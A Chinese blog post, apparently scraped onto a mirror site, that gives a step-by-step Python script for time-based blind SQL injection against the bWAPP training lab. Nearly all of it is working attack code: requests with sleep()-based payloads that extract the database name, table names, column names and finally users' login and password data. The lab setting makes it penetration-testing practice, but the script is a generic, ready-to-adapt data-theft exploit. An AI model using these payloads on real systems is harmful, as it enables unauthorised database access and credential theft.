当前位置: 首页 > news >正文

使用python脚本的时间盲注完整步骤

文章目录

  • 一、获取数据库名称长度
  • 二、获取数据库名称
  • 三、获取表名总长度
  • 四、获取表名
  • 五、获取指定表列名总长度
  • 六、获取指定表列名
  • 七、获取指定表指定列的表内数据总长度
  • 八、获取指定表指定列的表内数据

一、获取数据库名称长度

测试环境是bwapp靶场 SQL Injection - Blind - Time-Based
在这里插入图片描述

import requests
import timeHEADER={"Cookie":"BEEFHOOK=sC9TPJjSgW8Y6CDh1eKrvcYP2vwhfFGpwNOTmU92yEiWtYEjcQpYCgFxMp5ZVLrIY4ebNwNv9dHeZhMz; security=low; PHPSESSID=i79vfbbj4l30k326ckunvitfe5; security_level=0"
}
BASE_URL="http://127.0.0.1:9004/sqli_15.php?"def get_database_name_length(value1, value2):count = 0for i in range(100):url=BASE_URL+"{}=Man of Steel' and length(database())={} and sleep(1) -- {}".format(value1, i, value2)start_time = time.time()resp= requests.get(url,headers=HEADER)#print(resp.content)if time.time()-start_time>1:print("数据库长度为:{}".format(i))count = ibreakreturn count

执行语句:
databaselen = get_database_name_length(“title”, “&action=search”) + 1
执行结果
在这里插入图片描述
tips:title=,&action=search需要使用burp抓包获得
–两边有空格

二、获取数据库名称

def get_database_name(len, value1, value2):str = ""for i in range(1,len):for j in range(127):url=BASE_URL+"{}=Man of Steel' and ascii(substr(database(),{},1))={} and sleep(2) -- {}".format(value1, i, j, value2)start_time = time.time()resp= requests.get(url,headers=HEADER)if time.time()-start_time>2:print("{}:{}".format(i,j),chr(j))str+=(chr(j))breakprint("数据库名称为:",str)return str

执行语句:
database = get_database_name(databaselen,“title”, “&action=search”)
执行结果
在这里插入图片描述

三、获取表名总长度

def get_table_name_length(database, value1, value2):count = 0for i in range(100):url=BASE_URL+"{}=Man of Steel' and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = '{}'), 1)) ={} and sleep(1) -- {}".format(value1, database,i, value2)start_time = time.time()resp= requests.get(url,headers=HEADER)if time.time()-start_time>1:print("表名总长度为:{}".format(i))count = ibreakreturn count

执行语句:
tablelen = get_table_name_length(database,“title”, “&action=search”) + 1
执行结果:在这里插入图片描述

四、获取表名

def get_table_name(len,database, value1, value2):str = ""for i in range(1,len):for j in range(127):url=BASE_URL+"{}=Man of Steel' and ascii(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = '{}'),{},1))={} and sleep(2) -- {}".format(value1, database, i,j, value2)start_time = time.time()resp= requests.get(url,headers=HEADER)if time.time()-start_time>2:#print("{}:{}".format(i,j),chr(j))str+=(chr(j))breakprint("{}:".format(i),str)print("表名为:",str)return str

执行语句:
get_table_name(tablelen,database,“title”, “&action=search”)
执行结果:
在这里插入图片描述

,

五、获取指定表列名总长度

def get_column_name_length(database,table, value1, value2):count = 0for i in range(100):url=BASE_URL+"{}=Man of Steel' and length(substr((select group_concat(column_name) from information_schema.columns where table_name='{}' and table_schema='{}'), 1)) ={} and sleep(1) -- {}".format(value1, table,database,i, value1)start_time = time.time()resp= requests.get(url,headers=HEADER)if time.time()-start_time>1:print("列名总长度为:{}".format(i))count = ibreakreturn count

执行语句:
columnlen = get_column_name_length(database, “users”,“title”, “&action=search”) + 1
执行结果:
在这里插入图片描述

六、获取指定表列名

def get_column_name(len,database, table, value1, value2):str = ""for i in range(1,len):for j in range(127):url=BASE_URL+"{}=Man of Steel' and ascii(substr(substr((select group_concat(column_name) from information_schema.columns where table_name='{}' and table_schema='{}'), 1),{},1))={} and sleep(2) -- {}".format(value1, table, database, i,j, value2)start_time = time.time()resp= requests.get(url,headers=HEADER),if time.time()-start_time>2:str+=(chr(j))breakprint("{}:".format(i),str)print("列名为:",str)return str

执行语句:
get_column_name(columnlen, database, “users”,“title”, “&action=search”)
执行结果:
在这里插入图片描述

七、获取指定表指定列的表内数据总长度

def get_data_name_length(table, username, password, value1, value2):count = 0for i in range(100):url=BASE_URL+"{}=Man of Steel' and length(substr((select group_concat({}, ':', {}) from {}), 1)) ={} and sleep(1) -- {}".format(value1, username, password, table,i, value2)start_time = time.time()resp= requests.get(url,headers=HEADER)if time.time()-start_time>1:print("列数据总长度为:{}".format(i))count = ibreakreturn count

执行语句:
datalen = get_data_name_length(“users”, “login”, “password”,“title”, “&action=search”) + 1
执行结果:
在这里插入图片描述

八、获取指定表指定列的表内数据

def get_data_name(len, table, username, password, value1, value2):str = ""for i in range(1,len):for j in range(127):url=BASE_URL+"{}=Man of Steel' and ascii(substr((select group_concat({}, ':', {}) from {}),{},1))={} and sleep(2) -- {}".format(value1, username, password, table, i,j, value2)start_time = time.time()resp= requests.get(url,headers=HEADER),if time.time()-start_time>2:str+=(chr(j))breakprint("{}:".format(i),str)print("登录数据为:",str)return str

执行语句:
get_data_name(datalen, “users”, “login”, “password”,“title”, “&action=search”)
执行结果:
在这里插入图片描述我们发现使用这种方法似乎比burp更快更高效,只是从列爆破开始需要自己选表名

http://www.lryc.cn/news/181342.html

相关文章:

  • C++项目:仿mudou库one thread one loop式并发服务器实现
  • 【算法训练-贪心算法 一】买卖股票的最佳时机II
  • 单阶段目标检测与双阶段目标检测的联系与区别
  • Mysql技术文档--设计表规范式-一次性扫盲
  • python socket 传输opencv读取的图像
  • APACHE NIFI学习之—UpdateAttribute
  • BIT-7文件操作和程序环境(16000字详解)
  • 冥想第九百二十八天
  • 深入浅出,SpringBoot整合Quartz实现定时任务与Redis健康检测(一)
  • Lucene-MergePolicy详解
  • 数据的加解密
  • 【Spring】更简单的读取和存储对象
  • 【LeetCode热题100】--108.将有序数组转换为二叉搜索树
  • Redis学习笔记(下):持久化RDB、AOF+主从复制(薪火相传,反客为主,一主多从,哨兵模式)+Redis集群
  • 【智能家居项目】裸机版本——设备子系统(LED Display 风扇)
  • [Linux]记录plasma-wayland下无法找到HDMI接口显示器的问题解决方案
  • 【计算机网络】高级IO之select
  • 如何设计一个高效的应用缓冲区【一个动态扩容的buffer类】
  • 图像处理初学者导引---OpenCV 方法演示项目
  • 管道-匿名管道
  • 【JavaEE基础学习打卡08】JSP之初次认识say hello!
  • 使用序列到序列深度学习方法自动睡眠阶段评分
  • 【算法】排序——选择排序和交换排序(快速排序)
  • Docker 容器监控 - Weave Scope
  • Spring Boot集成redis集群拓扑动态刷新
  • COCI2022-2023#1 Neboderi
  • 由于找不到d3dx9_43.dll无法继续执行此代码怎么解决?全面解析d3dx9_43.dll
  • Linux--网络编程-字节序
  • python实现http/https拦截
  • 农产品团购配送商城小程序的作用是什么